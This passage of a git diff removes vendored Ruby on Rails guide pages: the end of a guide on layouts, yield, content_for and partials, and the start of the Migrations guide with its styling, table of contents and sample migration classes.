-<div class="ilist"><ul>
-<li>
-<p>
-<tt>:alt</tt> specifies the alt text for the image (which defaults to the file name of the file, capitalized and with no extension)
-</p>
-</li>
-<li>
-<p>
-</p>
-</li>
-<li>
-<p>
-<tt>:mouseover</tt> sets an alternate image to be used when the onmouseover event is fired.
-</p>
-</li>
-</ul></div>
-<h3 id="_understanding_tt_yield_tt">3.2. Understanding <tt>yield</tt></h3>
-<div class="para"><p>Within the context of a layout, <tt>yield</tt> identifies a section where content from the view should be inserted. The simplest way to use this is to have a single <tt>yield</tt>, into which the entire contents of the view currently being rendered is inserted:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;html&gt;</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;head&gt;</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;/head&gt;</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;body&gt;</span></span>
-        &lt;%= yield %&gt;
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;hbody&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can also create a layout with multiple yielding regions:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;html&gt;</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;head&gt;</span></span>
-        &lt;%= yield :head %&gt;
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;/head&gt;</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;body&gt;</span></span>
-        &lt;%= yield %&gt;
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;hbody&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The main body of the view will always render into the unnamed <tt>yield</tt>. To render content into a named <tt>yield</tt>, you use the <tt>content_for</tt> method.</p></div>
-<h3 id="_using_tt_content_for_tt">3.3. Using <tt>content_for</tt></h3>
-<div class="para"><p>The <tt>content_for</tt> method allows you to insert content into a <tt>yield</tt> block in your layout. You only use <tt>content_for</tt> to insert content in named yields. For example, this view would work with the layout that you just saw:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;% content_for :head do %&gt;
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;title&gt;</span></span>A simple page<span style="font-weight: bold"><span style="color: #0000FF">&lt;/title&gt;</span></span>
-&lt;% end %&gt;
-
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Hello, Rails!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The result of rendering this page into the supplied layout would be this HTML:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;html&gt;</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;head&gt;</span></span>
-        <span style="font-weight: bold"><span style="color: #0000FF">&lt;title&gt;</span></span>A simple page<span style="font-weight: bold"><span style="color: #0000FF">&lt;/title&gt;</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;/head&gt;</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;body&gt;</span></span>
-        <span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Hello, Rails!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;hbody&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>content_for</tt> method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise-generic layout.</p></div>
-<h3 id="_using_partials">3.4. Using Partials</h3>
-<div class="para"><p>Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.</p></div>
-<h4 id="_naming_partials">3.4.1. Naming Partials</h4>
-<div class="para"><p>To render a partial as part of a view, you use the <tt>render</tt> method within the view, and include the <tt>:partial</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"menu"</span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>This will render a file named <tt>_menu.html.erb</tt> at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"shared/menu"</span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>That code will pull in the partial from <tt>app/views/shared/_menu.html.erb</tt>.</p></div>
-<h4 id="_using_partials_to_simplify_views">3.4.2. Using Partials to Simplify Views</h4>
-<div class="para"><p>One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= render :partial =&gt; "shared/ad_banner" %&gt;
-
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Products<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Here are a few of our fine products:<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-...
-
-&lt;%= render :partial =&gt; "shared/footer" %&gt;
-</tt></pre></div></div>
-<div class="para"><p>Here, the <tt>_ad_banner.html.erb</tt> and <tt>_footer.html.erb</tt> partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">For content that is shared among all pages in your application, you can use partials directly from layouts.</td>
-</tr></table>
-</div>
-<h4 id="_partial_layouts">3.4.3. Partial Layouts</h4>
-<div class="para"><p>A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= render :partial =&gt; "link_area", :layout =&gt; "graybar" %&gt;
-</tt></pre></div></div>
-<div class="para"><p>This would look for a partial named <tt>_link_area.html.erb</tt> and render it using the layout <tt>_graybar.html.erb</tt>. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master <tt>layouts</tt> folder).</p></div>
-<h4 id="_passing_local_variables">3.4.4. Passing Local Variables</h4>
-<div class="para"><p>You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:</p></div>
-<div class="para"><p><tt>new.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>New zone<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-&lt;%= error_messages_for :zone %&gt;
-&lt;%= render :partial =&gt; "form", :locals =&gt; { :button_label =&gt; "Create zone", :zone =&gt; @zone } %&gt;
-</tt></pre></div></div>
-<div class="para"><p><tt>edit.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Editing zone<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-&lt;%= error_messages_for :zone %&gt;
-&lt;%= render :partial =&gt; "form", :locals =&gt; { :button_label =&gt; "Update zone", :zone =&gt; @zone } %&gt;
-</tt></pre></div></div>
-<div class="para"><p><tt>_form.html.erb:</tt></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;% form_for(zone) do |f| %&gt;
-        <span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
-          <span style="font-weight: bold"><span style="color: #0000FF">&lt;b&gt;</span></span>Zone name<span style="font-weight: bold"><span style="color: #0000FF">&lt;/b&gt;&lt;br</span></span> <span style="font-weight: bold"><span style="color: #0000FF">/&gt;</span></span>
-          &lt;%= f.text_field :name %&gt;
-        <span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
-    &lt;%= f.submit button_label %&gt;
-  <span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-&lt;% end %&gt;
-</tt></pre></div></div>
-<div class="para"><p>Although the same partial will be rendered into both views, the label on the submit button is controlled by a local variable passed into the partial.</p></div>
-<div class="para"><p>Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the <tt>:object</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= render :partial =&gt; "customer", :object =&gt; @new_customer %&gt;
-</tt></pre></div></div>
-<div class="para"><p>Within the <tt>customer</tt> partial, the <tt>@customer</tt> variable will refer to <tt>@new_customer</tt> from the parent view.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior is deprecated in Rails 2.2 and will be removed in a future version.</td>
-</tr></table>
-</div>
-<div class="para"><p>If you have an instance of a model to render into a partial, you can use a shorthand syntax:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= render :partial =&gt; @customer %&gt;
-</tt></pre></div></div>
-<div class="para"><p>Assuming that the <tt>@customer</tt> instance variable contains an instance of the <tt>Customer</tt> model, this will use <tt>_customer.html.erb</tt> to render it.</p></div>
-<h4 id="_rendering_collections">3.4.5. Rendering Collections</h4>
-<div class="para"><p>Partials are very useful in rendering collections. When you pass a collection to a partial via the <tt>:collection</tt> option, the partial will be inserted once for each member in the collection:</p></div>
-<div class="para"><p><tt>index.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Products<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-&lt;%= render :partial =&gt; "product", :collection =&gt; @products %&gt;
-</tt></pre></div></div>
-<div class="para"><p><tt>_product.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Product Name: &lt;%= product.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is <tt>_product, and within the +_product</tt> partial, you can refer to <tt>product</tt> to get the instance that is being rendered. To use a custom local variable name within the partial, specify the <tt>:as</tt> option in the call to the partial:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= render :partial =&gt; "product", :collection =&gt; @products, :as =&gt; :item %&gt;
-</tt></pre></div></div>
-<div class="para"><p>With this change, you can access an instance of the <tt>@products</tt> collection as the <tt>item</tt> local variable within the partial.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by <tt>_counter</tt>. For example, if you're rendering <tt>@products</tt>, within the partial you can refer to <tt>product_counter</tt> to tell you how many times the partial has been rendered.</td>
-</tr></table>
-</div>
-<div class="para"><p>You can also specify a second partial to be rendered between instances of the main partial by using the <tt>:spacer_template</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= render :partial =&gt; "product", :collection =&gt; @products, :spacer_template =&gt; "product_ruler" %&gt;
-</tt></pre></div></div>
-<div class="para"><p>Rails will render the <tt>_product_ruler</tt> partial (with no data passed in to it) between each pair of <tt>_product</tt> partials.</p></div>
-<div class="para"><p>There's also a shorthand syntax available for rendering collections. For example, if <tt>@products</tt> is a collection of products, you can render the collection this way:</p></div>
-<div class="para"><p><tt>index.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Products<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-&lt;%= render :partial =&gt; @products %&gt;
-</tt></pre></div></div>
-<div class="para"><p><tt>_product.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Product Name: &lt;%= product.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:</p></div>
-<div class="para"><p><tt>index.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Contacts<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-&lt;%= render :partial =&gt; [customer1, employee1, customer2, employee2] %&gt;
-</tt></pre></div></div>
-<div class="para"><p><tt>_customer.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Name: &lt;%= customer.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p><tt>_employee.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Name: &lt;%= employee.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.</p></div>
-</div>
-<h2 id="_changelog">4. Changelog</h2>
-<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-November 9, 2008: Added partial collection counter by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-<li>
-<p>
-November 1, 2008: Added <tt>:js</tt> option for <tt>render</tt> by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-<li>
-<p>
-October 16, 2008: Ready for publication by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-<li>
-<p>
-October 4, 2008: Additional info on partials (<tt>:object</tt>, <tt>:as</tt>, and <tt>:spacer_template</tt>) by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
-</p>
-</li>
-<li>
-<p>
-September 28, 2008: First draft by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
-</p>
-</li>
-</ul></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/migrations.html b/vendor/rails/railties/doc/guides/html/migrations.html
deleted file mode 100644
index 8b580d80..00000000
--- a/vendor/rails/railties/doc/guides/html/migrations.html
+++ /dev/null
@@ -1,921 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>Migrations</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_anatomy_of_a_migration">Anatomy Of A Migration</a>
-						<ul>
-						
-							<li><a href="#_migrations_are_classes">Migrations are classes</a></li>
-						
-							<li><a href="#_what_s_in_a_name">What's in a name</a></li>
-						
-							<li><a href="#_changing_migrations">Changing migrations</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_creating_a_migration">Creating A Migration</a>
-						<ul>
-						
-							<li><a href="#_creating_a_model">Creating a model</a></li>
-						
-							<li><a href="#_creating_a_standalone_migration">Creating a standalone migration</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_writing_a_migration">Writing a Migration</a>
-						<ul>
-						
-							<li><a href="#_creating_a_table">Creating a table</a></li>
-						
-							<li><a href="#_changing_tables">Changing tables</a></li>
-						
-							<li><a href="#_special_helpers">Special helpers</a></li>
-						
-							<li><a href="#_writing_your_down_method">Writing your down method</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_running_migrations">Running Migrations</a>
-						<ul>
-						
-							<li><a href="#_rolling_back">Rolling back</a></li>
-						
-							<li><a href="#_being_specific">Being Specific</a></li>
-						
-							<li><a href="#_being_talkative">Being talkative</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#models">Using Models In Your Migrations</a>
-						<ul>
-						
-							<li><a href="#_dealing_with_changing_models">Dealing with changing models</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_schema_dumping_and_you">Schema dumping and you</a>
-						<ul>
-						
-							<li><a href="#schema">What are schema files for?</a></li>
-						
-							<li><a href="#_types_of_schema_dumps">Types of schema dumps</a></li>
-						
-							<li><a href="#_schema_dumps_and_source_control">Schema dumps and source control</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#foreign_key">Active Record and Referential Integrity</a>
-					</li>
-					<li>
-					<a href="#_changelog">Changelog</a>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>Migrations</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You'd also have to keep track of which changes need to be run against the production machines next time you deploy. Active Record tracks which migrations have already been run so all you have to do is update your source and run <tt>rake db:migrate</tt>. Active Record will work out which migrations should be run.</p></div>
-<div class="para"><p>Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of CREATE TABLE any more that you worry about variations on SELECT * (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.</p></div>
-<div class="para"><p>You'll learn all about migrations including:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-The generators you can use to create them
-</p>
-</li>
-<li>
-<p>
-The methods Active Record provides to manipulate your database
-</p>
-</li>
-<li>
-<p>
-The Rake tasks that manipulate them
-</p>
-</li>
-<li>
-<p>
-How they relate to <tt>schema.rb</tt>
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_anatomy_of_a_migration">1. Anatomy Of A Migration</h2>
-<div class="sectionbody">
-<div class="para"><p>Before I dive into the details of a migration, here are a few examples of the sorts of things you can do:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-      t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
-      t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>description
-
-      t<span style="color: #990000">.</span>timestamps
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    drop_table <span style="color: #990000">:</span>products
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This migration adds a table called <tt>products</tt> with a string column called <tt>name</tt> and a text column called <tt>description</tt>. A primary key column called <tt>id</tt> will also be added, however since this is the default we do not need to ask for this. The timestamp columns <tt>created_at</tt> and <tt>updated_at</tt> which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.</p></div>
-<div class="para"><p>Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddReceiveNewsletterToUsers <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    change_table <span style="color: #990000">:</span>users <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-      t<span style="color: #990000">.</span>boolean <span style="color: #990000">:</span>receive_newsletter<span style="color: #990000">,</span> <span style="color: #990000">:</span>default <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-    User<span style="color: #990000">.</span>update_all <span style="color: #990000">[</span><span style="color: #FF0000">"receive_newsletter = ?"</span><span style="color: #990000">,</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">]</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    remove_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>receive_newsletter
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
